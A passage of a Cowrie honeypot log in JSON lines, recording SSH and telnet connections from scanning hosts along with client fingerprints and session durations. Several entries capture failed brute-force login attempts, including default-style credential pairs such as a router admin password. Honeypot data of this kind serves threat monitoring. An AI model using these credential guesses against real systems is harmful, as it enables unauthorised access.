98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:06.759223Z","src_ip":"103.15.226.202","session":"b9aaef9b6255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.159321069717407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:07.474544Z","src_ip":"69.6.249.0","session":"bce809728283","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2023","message":"login attempt [root/root2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:07.493526Z","src_ip":"103.15.226.202","session":"b9aaef9b6255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:08.739139Z","src_ip":"103.15.226.202","session":"b9aaef9b6255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51172,"dst_ip":"159.203.135.109","dst_port":23,"session":"40118d477884","protocol":"telnet","message":"New connection: 69.6.249.0:51172 (159.203.135.109:23) [session: 40118d477884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:12.348013Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59966,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bea71e3da13","protocol":"ssh","message":"New connection: 80.94.92.186:59966 (159.203.135.109:22) [session: 9bea71e3da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:29.685560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:29.842291Z","src_ip":"80.94.92.186","session":"9bea71e3da13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:29.846037Z","src_ip":"80.94.92.186","session":"9bea71e3da13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a6a9e14c08","protocol":"telnet","message":"New connection: 69.6.249.0:35154 (159.203.135.109:23) [session: e0a6a9e14c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:30.711867Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:31.705942Z","src_ip":"80.94.92.186","session":"9bea71e3da13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:32.842304Z","src_ip":"80.94.92.186","session":"9bea71e3da13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.448654651641846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:44.796544Z","src_ip":"69.6.249.0","session":"40118d477884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49877bb748d","protocol":"telnet","message":"New connection: 69.6.249.0:44662 (159.203.135.109:23) [session: b49877bb748d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:47.976350Z"}
{"eventid":"cowrie.session.closed","duration":32.780799865722656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:03.492540Z","src_ip":"69.6.249.0","session":"e0a6a9e14c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":26592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f80db48da587","protocol":"ssh","message":"New connection: 154.117.199.5:26592 (10.17.0.5:22) [session: f80db48da587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:12.642341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:12.878572Z","src_ip":"154.117.199.5","session":"f80db48da587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:13.112059Z","src_ip":"154.117.199.5","session":"f80db48da587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154515266418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:19.130668Z","src_ip":"69.6.249.0","session":"b49877bb748d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.91.66.176","src_port":32784,"dst_ip":"159.203.135.109","dst_port":23,"session":"357956326618","protocol":"telnet","message":"New connection: 197.91.66.176:32784 (159.203.135.109:23) [session: 357956326618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:11:54.989787Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37072,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8d9431d961d","protocol":"telnet","message":"New connection: 69.6.249.0:37072 (159.203.135.109:23) [session: a8d9431d961d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:01.365276Z"}
{"eventid":"cowrie.session.closed","duration":14.063008546829224,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:09.052645Z","src_ip":"197.91.66.176","session":"357956326618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37044,"dst_ip":"159.203.135.109","dst_port":23,"session":"37308252256e","protocol":"telnet","message":"New connection: 69.6.249.0:37044 (159.203.135.109:23) [session: 37308252256e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:13.305012Z"}
{"eventid":"cowrie.session.closed","duration":31.65448307991028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:33.019609Z","src_ip":"69.6.249.0","session":"a8d9431d961d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328985929489136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:44.633888Z","src_ip":"69.6.249.0","session":"37308252256e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40680,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfcfbdff67ff","protocol":"telnet","message":"New connection: 69.6.249.0:40680 (159.203.135.109:23) [session: bfcfbdff67ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:44.673954Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40694,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c3fb15b2341","protocol":"telnet","message":"New connection: 69.6.249.0:40694 (159.203.135.109:23) [session: 4c3fb15b2341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:48.519184Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c05673c6b4c","protocol":"telnet","message":"New connection: 69.6.249.0:34988 (159.203.135.109:23) [session: 7c05673c6b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:56.090314Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35000,"dst_ip":"159.203.135.109","dst_port":23,"session":"88eeddaca9da","protocol":"telnet","message":"New connection: 69.6.249.0:35000 (159.203.135.109:23) [session: 88eeddaca9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:12:57.101249Z"}
{"eventid":"cowrie.session.closed","duration":32.61630463600159,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:17.290131Z","src_ip":"69.6.249.0","session":"bfcfbdff67ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":20660,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6f4956e75d","protocol":"ssh","message":"New connection: 94.26.106.139:20660 (159.203.135.109:22) [session: 6c6f4956e75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.462123Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.467427Z","src_ip":"94.26.106.139","session":"6c6f4956e75d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":20676,"dst_ip":"159.203.135.109","dst_port":22,"session":"353a234c5412","protocol":"ssh","message":"New connection: 94.26.106.139:20676 (159.203.135.109:22) [session: 353a234c5412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.601653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.606385Z","src_ip":"94.26.106.139","session":"353a234c5412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.692078Z","src_ip":"94.26.106.139","session":"353a234c5412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:18.865741Z","src_ip":"94.26.106.139","session":"353a234c5412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:19.957234Z","src_ip":"94.26.106.139","session":"353a234c5412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22793960571289,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:20.747042Z","src_ip":"69.6.249.0","session":"4c3fb15b2341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13914,"dst_ip":"10.17.0.5","dst_port":22,"session":"8935517dad57","protocol":"ssh","message":"New connection: 194.59.206.2:13914 (10.17.0.5:22) [session: 8935517dad57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:24.763206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:24.768875Z","src_ip":"194.59.206.2","session":"8935517dad57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:24.855818Z","src_ip":"194.59.206.2","session":"8935517dad57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:24.946397Z","src_ip":"194.59.206.2","session":"8935517dad57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.243042707443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:27.333211Z","src_ip":"69.6.249.0","session":"7c05673c6b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"491e9d5c7e0f","protocol":"telnet","message":"New connection: 69.6.249.0:57240 (159.203.135.109:23) [session: 491e9d5c7e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:28.482984Z"}
{"eventid":"cowrie.session.closed","duration":32.627155780792236,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:29.728241Z","src_ip":"69.6.249.0","session":"88eeddaca9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57252,"dst_ip":"159.203.135.109","dst_port":23,"session":"a26590bf02c0","protocol":"telnet","message":"New connection: 69.6.249.0:57252 (159.203.135.109:23) [session: a26590bf02c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:34.282149Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37354,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a67cb3daf2","protocol":"ssh","message":"New connection: 103.15.226.202:37354 (10.17.0.5:22) [session: 83a67cb3daf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:45.022666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:45.027694Z","src_ip":"103.15.226.202","session":"83a67cb3daf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:45.279347Z","src_ip":"103.15.226.202","session":"83a67cb3daf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud@123","message":"login attempt [root/cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:46.037956Z","src_ip":"103.15.226.202","session":"83a67cb3daf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:47.291462Z","src_ip":"103.15.226.202","session":"83a67cb3daf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34430,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d97644f98ee","protocol":"ssh","message":"New connection: 80.94.92.186:34430 (159.203.135.109:22) [session: 0d97644f98ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:59.856705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:13:59.878517Z","src_ip":"80.94.92.186","session":"0d97644f98ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:00.156016Z","src_ip":"80.94.92.186","session":"0d97644f98ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.11727786064148,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:00.600189Z","src_ip":"69.6.249.0","session":"491e9d5c7e0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:01.203272Z","src_ip":"80.94.92.186","session":"0d97644f98ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:02.988051Z","src_ip":"80.94.92.186","session":"0d97644f98ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.178006172180176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:05.460022Z","src_ip":"69.6.249.0","session":"a26590bf02c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54888,"dst_ip":"159.203.135.109","dst_port":22,"session":"6997883e2dda","protocol":"ssh","message":"New connection: 78.83.249.54:54888 (159.203.135.109:22) [session: 6997883e2dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:13.107329Z"}
